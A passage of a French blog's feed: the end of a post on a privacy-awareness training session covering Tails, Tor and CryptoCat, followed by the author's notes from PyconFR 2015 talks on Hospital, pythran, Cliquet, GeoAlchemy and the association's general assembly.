&lt;li&gt;venir se connecter à leur compte email depuis mon ordinateur. J'ai piégé une
personne, qui est venu pour taper son mot de passe.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Cela à été un bon moyen de parler de l'importance des traces que l'on peut
laisser sur un ordinateur, et de la confiance qu'il faut avoir dans le matériel
que l'on utilise, à fortiori si ce ne sont pas les vôtres.&lt;/p&gt;
&lt;p&gt;Pour continuer à leur faire peur, après une brève explication de ce qu'est SSL
nous avons montré comment il était facile de scruter le réseau à la recherche
de mots de passe en clair.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="proposer-des-solutions-concretes"&gt;
&lt;h2&gt;3. Proposer des solutions concrêtes&lt;/h2&gt;
&lt;p&gt;Une fois que tout le monde avait pleinement pris sonscience des problématiques
et n'osait plus utiliser son ordinateur ou son téléphone, on à commencé
à parler de quelques solutions.
Plusieurs approches étaient possibles ici, nous avons choisi de présenter
quelques outils qui nous semblaient répondre aux attentes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;On a expliqué ce qu'était &lt;a class="reference external" href="https://tails.boum.org"&gt;Tails&lt;/a&gt;, et comment
l'utiliser et le dupliquer.&lt;/li&gt;
&lt;li&gt;On a pu faire un tour des outils existants sur Tails, notamment autour de
l'&lt;em&gt;anonymisation&lt;/em&gt; de fichiers et la suppression effective de contenus.&lt;/li&gt;
&lt;li&gt;Certaines personnes ont pu créer une clé tails avec la persistance de
configurée.&lt;/li&gt;
&lt;li&gt;Nous nous sommes connectés au réseau &lt;a class="reference external" href="https://www.torproject.org"&gt;Tor&lt;/a&gt; et testé
que nos adresses IP changeaient bien à la demande.&lt;/li&gt;
&lt;li&gt;Nous avons utilisé &lt;a class="reference external" href="https://crypto.cat"&gt;CryptoCat&lt;/a&gt; par dessus Tor, afin de
voir comment avoir une conversation confidentielle dans laquelle il est
possible d'échanger des fichiers.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="retours"&gt;
&lt;h2&gt;Retours&lt;/h2&gt;
&lt;p&gt;D'une manière générale, pour une formation de trois heures et demi, je suis
assez content de l'exercice, et de l'ensemble des sujets que nous avons pu
couvrir. Il y a beaucoup de place pour l'amélioration, notamment en amont (j'avais
par exemple oublié d'amener avec moi suffisamment de clés USB pour utiliser
Tails).&lt;/p&gt;
&lt;p&gt;La plupart des retours qu'on a pu avoir jusqu'à maintenant sont positifs, et il
y a l'envie d'aller plus loin sur l'ensemble de ces sujets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-suite"&gt;
&lt;h2&gt;La suite&lt;/h2&gt;
&lt;p&gt;Il y a beaucoup de sujets que nous n'avons pas abordés, ou uniquement survolés,
à cause du manque de temps disponible. Idéalement, il faudrait au moins une
journée entière pour couvrir quelques sujets plus en détail (on peut imaginer
avoir une partie théorique le matin et une partie pratique l'après-midi par
exemple).&lt;/p&gt;
&lt;p&gt;J'ai choisi volontairement de ne pas aborder le chiffrement des messages via
PGP parce que &lt;a class="reference external" href="https://blog.notmyidea.org/les-problemes-de-pgp.html"&gt;je pense que la protection que ce média propose n'est pas
suffisante&lt;/a&gt;, mais je suis en train de
revenir sur ma décision: il pourrait être utile de présenter l'outil, à minima,
en insistant sur certaines de ses faiblesses.&lt;/p&gt;
&lt;p&gt;Un compte twitter à été créé recemment autour des crypto-party à Rennes, si
vous êtes interessés, &lt;a class="reference external" href="https://twitter.com/CryptoPartyRNS"&gt;allez jeter un coup d'œil&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Je n'ai pas trouvé de ressources disponibles par rapport à des plans de
formation sur le sujet, j'ai donc décidé de publier les nôtres, afin de
co-construire avec d'autres des plans de formation.&lt;/p&gt;
&lt;p&gt;Ils sont pour l'instant disponibles &lt;a class="reference external" href="http://autodefense-numerique.readthedocs.org/en/latest/"&gt;sur Read The Docs&lt;/a&gt;. Tous les retours
sont évidemment les bienvenus !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Rencontres python francophones, 2015</title><link href="https://blog.notmyidea.org/rencontres-python-francophones-2015.html" rel="alternate"></link><published>2015-11-02T00:00:00+01:00</published><updated>2015-11-02T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-11-02:/rencontres-python-francophones-2015.html</id><summary type="html">&lt;p&gt;J'ai pris quelques notes durant la conférence annuelle de PyconFR, qui avait
lieu à Pau cette année, et les ai publiées entre deux étapes des vacances qui
ont suivi. Je prends maintenant un peu plus de temps pour ranger toutes ces
notes au bon endroit.&lt;/p&gt;
&lt;p&gt;C'était un excellent cru: l'organisation …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai pris quelques notes durant la conférence annuelle de PyconFR, qui avait
lieu à Pau cette année, et les ai publiées entre deux étapes des vacances qui
ont suivi. Je prends maintenant un peu plus de temps pour ranger toutes ces
notes au bon endroit.&lt;/p&gt;
&lt;p&gt;C'était un excellent cru: l'organisation était vraiment impressionnante (merci
, si vous me lisez !). Et puis comme toujours l'occasion de recroiser quelques
copains, et d'en découvrir quelques autres... J'en ai profité pour parler de
Kinto (voici d'ailleurs &lt;a class="reference external" href="http://alexis.notmyidea.org/kinto-pycon/"&gt;les slides de la présentation que j'ai faite&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Parmis les conférences qui m'ont marquées, je vous conseille &lt;a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-hospital-des-tests-en-prod.html"&gt;celle de Benoit
Bryon, sur Hospital&lt;/a&gt;, qui parle de
heartbeat, ou de comment tester vos projets en prod, et celle &lt;a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-geoalchemy.html"&gt;sur Geo Alchemy,
par Éric Lemoine&lt;/a&gt;. Et bien sur, &lt;a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-cliquet.html"&gt;celle
de Mathieu Leplatre sur Cliquet&lt;/a&gt;, le
toolkit qui rassemble les bonnes pratiques que nous souhaitons mettre en avant
chez Mozilla services, mais là, je suis tout sauf impartial !&lt;/p&gt;
&lt;p&gt;Sinon, il peut être interessant de jeter un coup d'oeil au &lt;a class="reference external" href="https://blog.notmyidea.org/pyconfr-2015-table-ronde-diversite.html"&gt;compte rendu de la
table ronde sur la diversité&lt;/a&gt;, si c'est un sujet qui vous
touche. Encore beaucoup de choses à faire sur le sujet, bien sur, mais cette table ronde
était un pas nécessaire dans la bonne direction. Un groupe de travail sur le
sujet est en train de se constituer au sein de l'association.&lt;/p&gt;
&lt;p&gt;L'ensemble des notes que j'ai pu prendre sont disponibles dans la section &lt;a class="reference external" href="http://blog.notmyidea.org/category/pyconfr2015.html"&gt;PyconFR 2015&lt;/a&gt;.&lt;/p&gt;
</content></entry><entry><title>PyconFR 2015 — Assemblée générale</title><link href="https://blog.notmyidea.org/pyconfr-2015-assemblee-generale.html" rel="alternate"></link><published>2015-10-18T00:00:00+02:00</published><updated>2015-10-18T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-18:/pyconfr-2015-assemblee-generale.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Mot de feth sur Nelle, qui était une présidente très présente. Merci !&lt;/p&gt;
&lt;div class="section" id="passe"&gt;
&lt;h2&gt;Passé&lt;/h2&gt;
&lt;p&gt;Il existe des communautés locales à Lyon Grenoble, Nantes.
Des Afpyro ont été organisés dans toutes ces villes + Rennes …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Mot de feth sur Nelle, qui était une présidente très présente. Merci !&lt;/p&gt;
&lt;div class="section" id="passe"&gt;
&lt;h2&gt;Passé&lt;/h2&gt;
&lt;p&gt;Il existe des communautés locales à Lyon Grenoble, Nantes.
Des Afpyro ont été organisés dans toutes ces villes + Rennes + Marseille
Support pour 2 Django Carrots.
Par rapport au mentoring, très peu de retours, peut etre de nouvelles choses
à faire.&lt;/p&gt;
&lt;p&gt;FOSDEM 2015 était complet. Il y avait une salle python tojours pleine.
Dsicussions sur la diversité.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="futur"&gt;
&lt;h2&gt;Futur&lt;/h2&gt;
&lt;p&gt;Amandine propose d'organiser des soirées à NUMA l'an prochain.
Global code retreat: participation
Migrer le serveur de l'AFPY
Reboot des status: nos pratiques ne sont pas en ligne avec nos status.
Mise en place de mentoring pour python.&lt;/p&gt;
&lt;div class="section" id="status"&gt;
&lt;h3&gt;Status&lt;/h3&gt;
&lt;p&gt;Comité directeur renouvelé par tiers. Il est composé de 18 personnes. Les
discussions qui sont dans le CD n'en sortent pas, et les discussions sont donc
effectuées en priuvées.&lt;/p&gt;
&lt;p&gt;L'idée actuelle serait de réduire le CD de 18 à 9 personnes. Tout le travail
serait fait en dehors du CD. Il est possible de mettre en place un groupe de
travail pour travailler sur l'évolution de la charte.&lt;/p&gt;
&lt;p&gt;Il faut faire évoluer les status: ils ne sont pas actuellement bien faits par
rapport à notre utilisation.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content></entry><entry><title>PyconFR 2015 — Hospital - des tests en prod</title><link href="https://blog.notmyidea.org/pyconfr-2015-hospital-des-tests-en-prod.html" rel="alternate"></link><published>2015-10-18T00:00:00+02:00</published><updated>2015-10-18T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-18:/pyconfr-2015-hospital-des-tests-en-prod.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: Benoit Bryon, Peopledoc.&lt;/p&gt;
&lt;p&gt;Pour une procédure de déploiement, comment est-ce qu'on valide que tout va bien
une fois que tout est dépoyé ? Si on a une application très simple (upload et …&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: Benoit Bryon, Peopledoc.&lt;/p&gt;
&lt;p&gt;Pour une procédure de déploiement, comment est-ce qu'on valide que tout va bien
une fois que tout est dépoyé ? Si on a une application très simple (upload et
envoi de fichiers).&lt;/p&gt;
&lt;p&gt;Pour des applications plus complexes, il y a beaucoup de choses à tester (base
de données, cache, email, etc). Beaucoup de parties sont utiles: reverse
proxy, django, base de données etc.&lt;/p&gt;
&lt;p&gt;Lors d'un déploiement, comment faire pour vérifier que tout tourne lorsque tout
est déployé ?&lt;/p&gt;
&lt;div class="section" id="comment-faire"&gt;
&lt;h2&gt;Comment faire ?&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Les tests permettent de tester hors sol.&lt;/li&gt;
&lt;li&gt;Le provisionning permet de valider que tout tourne correctement, mais&lt;/li&gt;
&lt;li&gt;simplement au démarrage. Les pannes ne sont pas détectées.&lt;/li&gt;
&lt;li&gt;Le logging va permettre de detecter les erreurs, mais trop tard.&lt;/li&gt;
&lt;li&gt;Le monitoring permet d'avoir une vue de l'exterieur.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hostpital propose de faire des assertions sur la configuration,
l'environnement, &lt;em&gt;en cours de fonctionnement&lt;/em&gt;. Ce sont les developeurs qui
ajoutent ces assertions.&lt;/p&gt;
&lt;p&gt;Cela peut servir à valider un déploiement, pour etre rassuré une fois que le
déploiement effectué. Cela peut aussi service à surveiller un service et
diagnostiquer les problèmes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="hospital"&gt;
&lt;h2&gt;Hospital&lt;/h2&gt;
&lt;dl class="docutils"&gt;
&lt;dt&gt;::&lt;/dt&gt;
&lt;dd&gt;pip install hospital&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;Hospital est un outil en python. On définit des tests, de la même manière que
l'on définit des tests unitaires. On fait des assertions, comme pour les tests
unitaires. Hospital propose des helpers pour les cas courants:
&lt;cite&gt;assert_http_response&lt;/cite&gt; ou &lt;cite&gt;assert_ping&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;La vue est une vue de l'intérieur. La différence avec le monitoring est que
l'on teste la connectivité entre les services (exemple d'une requete
elasticsearch qui échoue depuis un service django).&lt;/p&gt;
&lt;p&gt;Pour la supervision, les healthchecks sont lancés avec une ligne de commande
&lt;cite&gt;hospital-cli&lt;/cite&gt;. Il est possible de lancer également ces tests avec nose ou
py.test.&lt;/p&gt;
&lt;p&gt;Il est aussi possible de faire le monitoring avec une API HTTP &lt;cite&gt;hospital
serve&lt;/cite&gt;.&lt;/p&gt;
&lt;div class="section" id="les-lacunes-de-hospital"&gt;
&lt;h3&gt;Les lacunes de hospital&lt;/h3&gt;
&lt;p&gt;Les healthchecks sont fait actuellement en synchrone. Cela peut prendre du
temps. Il pourrait etre interessant de lancer des taches de manière distribuée
/ en paralelle.&lt;/p&gt;
&lt;p&gt;Il pourrait etre utile de faire la distinction entre les smoketests et les
diagnostiques: les premiers sont des petits checks qui permettent de dire si ça
marche, de manière très simple. De l'autre coté, les diagnostiques seraient eux
plus fins.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="wrap-up"&gt;
&lt;h2&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;Validez votre configuration, la connectivité avec les services externes. Faites
des tests souvent !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>PyconFR 2015 — We don't need your loop</title><link href="https://blog.notmyidea.org/pyconfr-2015-we-dont-need-your-loop.html" rel="alternate"></link><published>2015-10-18T00:00:00+02:00</published><updated>2015-10-18T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-18:/pyconfr-2015-we-dont-need-your-loop.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: serge_sans_paille.&lt;/p&gt;
&lt;p&gt;Retour sur le passé des boucles: ASM, fortran, C. Avec APL, la boucle est
cachée au fur et à mesure des évolutions. Écrire une boucle ne devrait pas etre
exprimer …&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: serge_sans_paille.&lt;/p&gt;
&lt;p&gt;Retour sur le passé des boucles: ASM, fortran, C. Avec APL, la boucle est
cachée au fur et à mesure des évolutions. Écrire une boucle ne devrait pas etre
exprimer comment atteindre le resultat.&lt;/p&gt;
&lt;p&gt;En python, par exemple, il vaut mieux utiliser &lt;cite&gt;sum&lt;/cite&gt; plutôt que de faire
l'addition nous même (pour faire une addition des elements d'une liste).&lt;/p&gt;
&lt;p&gt;Actuellement, le compilateur python est lent si on utilise numpy.sum sur des
matrices complexes.&lt;/p&gt;
&lt;div class="section" id="comment-aller-plus-vite"&gt;
&lt;h2&gt;Comment aller plus vite?&lt;/h2&gt;
&lt;p&gt;Cython est assez compliqué, il faut savoir ce que l'on fait pour optimiser et
écrire du bon code Cython.&lt;/p&gt;
&lt;p&gt;Avec pythran, l'intelligence est dans le compilateur, qui permet d'écrire
notemment des boucles correctement.&lt;/p&gt;
&lt;p&gt;En donnant plus d'informaitons au compilateur, plutôt que de faire des boucles,
cela lui permet d'avoir un contexte qui lui permet d'optimiser le code.&lt;/p&gt;
&lt;p&gt;Par contre, cela veut dire que plus de connaissances sont necessaire pour lire
le code python.&lt;/p&gt;
&lt;p&gt;pythran permet de compiler directement vers du C++ sans avoir à changer son
code de base (python). C'est utile pour du code numpy notemment.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="questions"&gt;
&lt;h2&gt;Questions&lt;/h2&gt;
&lt;p&gt;Possible de paralelliser de manière explicite &lt;strong&gt;ou&lt;/strong&gt; implicite.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;C'est très utile pour les gens qui font du &amp;quot;number crunching&amp;quot;. Est-ce que
c'est utile pour d'autres domaines d'application (Web)?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pas vraiment. CPython est déjà bien fait pour ces cas d'utilisation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Est-il possible de lancer pythran sans faire de commentaires ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;C'est possible mais cela ne servira pas à grand chose. Il est necessaire de
connaitre le type des objets qui sont utilisés lors des boucles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Est-ce que vous songez à un compilateur à la volée ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;De gros efforts ont été faits dernièrement pour diminuer le temps de
compilation. Mais pour une fonction qui renvoie None prends de l'ordre d'une
seconde ou une demi seconde. Ce n'est pas très utile pour un compilateur à la
volée puisqu'il faudrait des gains de perfs supérieurs à cela.&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>PyconFR 2015 — Cliquet</title><link href="https://blog.notmyidea.org/pyconfr-2015-cliquet.html" rel="alternate"></link><published>2015-10-17T00:00:00+02:00</published><updated>2015-10-17T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-cliquet.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: Mathieu Leplatre (&amp;#64;leplatrem), Mozilla&lt;/p&gt;
&lt;p&gt;Toolkit HTTP, pour éventuellement faire des microservices.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Origines&lt;/li&gt;
&lt;li&gt;Protocole&lt;/li&gt;
&lt;li&gt;Toolkit&lt;/li&gt;
&lt;li&gt;Conversation&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="section" id="origines"&gt;
&lt;h2&gt;Origines&lt;/h2&gt;
&lt;p&gt;Stockage de données, Cloud Services, Mozilla.
Le boulot, c'est de faire des APIs. On nous …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: Mathieu Leplatre (&amp;#64;leplatrem), Mozilla&lt;/p&gt;
&lt;p&gt;Toolkit HTTP, pour éventuellement faire des microservices.&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Origines&lt;/li&gt;
&lt;li&gt;Protocole&lt;/li&gt;
&lt;li&gt;Toolkit&lt;/li&gt;
&lt;li&gt;Conversation&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="section" id="origines"&gt;
&lt;h2&gt;Origines&lt;/h2&gt;
&lt;p&gt;Stockage de données, Cloud Services, Mozilla.
Le boulot, c'est de faire des APIs. On nous demande de faire des APIs, tout
le temps.&lt;/p&gt;
&lt;p&gt;Souvent, les mêmes questions sont à l'ordre du jour. Heartbeat, codes
d'erreurs, etc. L'inventaire de tout ce qui est attendu d'une API, au dela de
ce qui est la valeur ajoutée du service.&lt;/p&gt;
&lt;p&gt;Définition d'un protocole. Définir une API REST n'est pas aussi évident qu'il
y parait. Il faut définir les formats de JSON, les status, etc.&lt;/p&gt;
&lt;p&gt;La réutilisation de certaines protocoles existants était possible (Sync, en
production depuis quelques années).&lt;/p&gt;
&lt;p&gt;Réutiliser du code nous permettait et faire un template pour démarrer plus
facilement, pour se concentrer sur le métier de l'API. Puisque les besoins ne
sont pas toujours les mêmes, avoir une boite à outil permet de choisir ce que
l'on souhaite.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="protocole"&gt;
&lt;h2&gt;Protocole&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Création d'un protocole qui respecte les bonnes pratiques. CORS, avoir les
bons codes de status, arrêter de se poser toujours les mêmes questions.
Contrairement à ce qu'on imagine, la spécification HTTP n'est pas si facile
à suivre. Plutôt que d'écrire un document, un toolkit à été créé.&lt;/li&gt;
&lt;li&gt;Les ops ont besoin de quelques endpoints: un heartbeat (monitoring) des
endpoints de batch, un endpoint &amp;quot;hello&amp;quot;, pour connaitre le type de service,
ses URLs etc.&lt;/li&gt;
&lt;li&gt;La service renvoie toujours un JSON avec la description de l'erreur. Cela
permet d'avoir tout le temps la même gestion des erreurs. Utilisation du
header &amp;quot;backoff&amp;quot; qui permet de demander aux clients d'arreter de faire des
requetes durant une durée spécifée par le serveur.&lt;/li&gt;
&lt;li&gt;Pour les resources &amp;quot;REST&amp;quot;, quelques règles sont définies: quel est le format
du JSON, quel est la syntaxe du querystring pour filtrer, ordonner, gérer les
opérations concurentes, etc.&lt;/li&gt;
&lt;li&gt;Comment la validation fonctionne ? La pagination ? La définition des
permissions ? Les erreurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Définir le protocole une seule fois permet de se mettre d'accord avec les Ops.
On ne créé pas une RFC pour l'instant, il faut qu'on valide ce qu'on a fait,
il est necessaire de valider notre approche.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="toolkit"&gt;
&lt;h2&gt;Toolkit&lt;/h2&gt;
&lt;p&gt;La stack en place est basée sur Pyramid et Cornice. Autre chose aurait pu petre
utilisé. Mais pyramid à été choisi pour son approche simpliste et qui permet de
rajouter de la complexité au fur et à mesure.&lt;/p&gt;
&lt;p&gt;Cliquet propose de faire l'ensemble du boilerplate, la lecture du protocole, et
vous permet de créer les backends souhaités.&lt;/p&gt;
&lt;p&gt;Il est possible de choisir les methodes HTTP acceptables, les URLs à utiliser
etc. Tweaker l'API est possible, la chose qui reste toujouts stable est le
protocole.&lt;/p&gt;
&lt;p&gt;le toolkit vise à faire quelque chose de pluggable. Tout est controllable
depuis la configuration.&lt;/p&gt;
&lt;p&gt;Pour le deploiement, cela veut dire que le monitoring est déjà connecté, et il
est possible de changer la configuration depuis un fichier &lt;cite&gt;.ini&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Il est aussi possible de faire du profiling en ajoutant deux lignes de code,
qui permet de générer des graphs qui permettent d'identifier les goulots
d'étranglement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="microservices"&gt;
&lt;h2&gt;Microservices ?&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Cliquet apporte une manière standard de surveiller, deployer, configurer des
services.&lt;/li&gt;
&lt;li&gt;Il est possible de se focaliser sur la logique de l'application, en faisait
une abstraction des backends, etc.&lt;/li&gt;
&lt;li&gt;Le fait de figer l'API permet d'avoir des clients génériques que l'on peu
réutiliser d'une application à l'autre.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="cliquet-est-utilise-pour"&gt;
&lt;h2&gt;Cliquet est utilisé pour&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Kinto, un service générique de stpclage de données.&lt;/li&gt;
&lt;li&gt;Syncto, un proxy pour Sync en utilisant le protocole.&lt;/li&gt;
&lt;li&gt;La liste de lecture, service qui à été shutdown.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="questions"&gt;
&lt;h2&gt;Questions&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Qu'est-ce qui est pluggable ?&lt;/strong&gt; Les choix qui sont fait dans cliquet
concernent le protocole. Le toolkit est lui fait de manière &amp;quot;pluggable&amp;quot;. Il
est par exemple possible de changer le backend, l'authentification, le cache
ou les permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quelles sont les parties non standard? Est-il prévu de representer ça via
une RFC ?&lt;/strong&gt; Le seul sujet qui pourrait etre utile dans une RFC serait de
définir les headers attendus pour la validation et l'écriture
concurrentielle. L'ensemble de ce qui est proposé est standard.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Existe-il un client JavaScript, comme pour Kinto ?&lt;/strong&gt; Actuellement, non. Par
contre, Kinto.js est prévu pour que la partie commune entre les APIs (le
protocole) peut etre extrait.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content></entry><entry><title>PyconFR 2015 — Geoalchemy</title><link href="https://blog.notmyidea.org/pyconfr-2015-geoalchemy.html" rel="alternate"></link><published>2015-10-17T00:00:00+02:00</published><updated>2015-10-17T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2015-10-17:/pyconfr-2015-geoalchemy.html</id><summary type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: Eric Lemoine, Camp to camp. (&amp;#64;elemoine)&lt;/p&gt;
&lt;p&gt;Bibliothèque python basée sur SQL alchemy, pour interagir avec des bases de
données geographiques / spatiales.&lt;/p&gt;
&lt;p&gt;Une base de donnée optimisée pour representer et rechercher des …&lt;/p&gt;</summary><content type="html">&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Voici quelques notes prises durant la PyconFR 2015, à Pau. N'hésitez pas
à les completer si besoin.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Speaker: Eric Lemoine, Camp to camp. (&amp;#64;elemoine)&lt;/p&gt;
&lt;p&gt;Bibliothèque python basée sur SQL alchemy, pour interagir avec des bases de
données geographiques / spatiales.&lt;/p&gt;
&lt;p&gt;Une base de donnée optimisée pour representer et rechercher des données qui
representent des objets dans un espace géométrique.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Il est possible d estocker des ligne,s de polygones, des points. Il y a une
colonne géometrie pour stocker ces données.&lt;/li&gt;
&lt;li&gt;Il y a aussi des fonctions qui permettent de travailler sur ces données
(transfomrations, projections, etc).&lt;/li&gt;
&lt;li&gt;Indexs géographiques qui permettent de faire des recherches de manière
performante.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="section" id="postgis"&gt;
&lt;h2&gt;POSTGIS&lt;/h2&gt;
&lt;p&gt;POSTGIS s'appuie sur postres pour offrir des types géographiques, des fonctions
et des indexes (R-Tree), qui permettent de ranger les géométries dans des
&amp;quot;boites englobantes&amp;quot;.&lt;/p&gt;
&lt;p&gt;Pour créer une base de données postgis, il faut faire un &amp;quot;create extension
postgis&amp;quot;, ce qui installe tout ce dont on a besoin.&lt;/p&gt;
&lt;p&gt;il est possible d'apeller &lt;cite&gt;GEOMETRY(POINT)&lt;/cite&gt; par exemple.&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;ST_GeomFromText('POINT(lat long)')&lt;/cite&gt; permet de convertir un point dans un objet
geometrie interne à postgres.&lt;/p&gt;
&lt;p&gt;&lt;cite&gt;ST_DWithin&lt;/cite&gt; permet de trouver les personnes qui sont autour d'un rayon donné.&lt;/p&gt;
&lt;p&gt;L'ensemble des fonctions proposées par postgres commencent par &lt;cite&gt;ST_*&lt;/cite&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="sqlalchemy"&gt;
&lt;h2&gt;SQLAlchemy&lt;/h2&gt;
&lt;p&gt;Il s'agit d'une bote à outil qui permet de faire des requetes de manière
simple. Il y a une philosophie forte.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Il ne sohaite pas cacher la base de données&lt;/li&gt;
&lt;li&gt;C'est un language pour faire du SQL en python&lt;/li&gt;
&lt;li&gt;Rien n'est caché.&lt;/li&gt;
&lt;li&gt;Fourni un vocabulaire riche pour générer le SQL&lt;/li&gt;
&lt;li&gt;L'objectif est de changer la manière dont on pense à SQL, redonner le gout du
SQL aux developeurs.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Deux parties:
- ORM
- CORE&lt;/p&gt;
&lt;p&gt;Il est possible d'utiliser simplement le core si l'on sohaite (sans utiliser
l'ORM)&lt;/p&gt;
&lt;div class="section" id="core"&gt;
&lt;h3&gt;Core&lt;/h3&gt;
&lt;p&gt;Il est possible d'utiliser SQL Alchemy pour générer les tables à l'origine.
Core permet d'utiliser des tables, et d'executer une insertion, depuis python.
Il est possible de representer les requetes avec des methodes chainées
&lt;cite&gt;select().where()&lt;/cite&gt; etc.&lt;/p&gt;
&lt;p&gt;Le &amp;quot;core&amp;quot; ne fait pas de mapping du tout, il manipule des Tables SQLA
directement.&lt;/p&gt;
&lt;/div&gt;
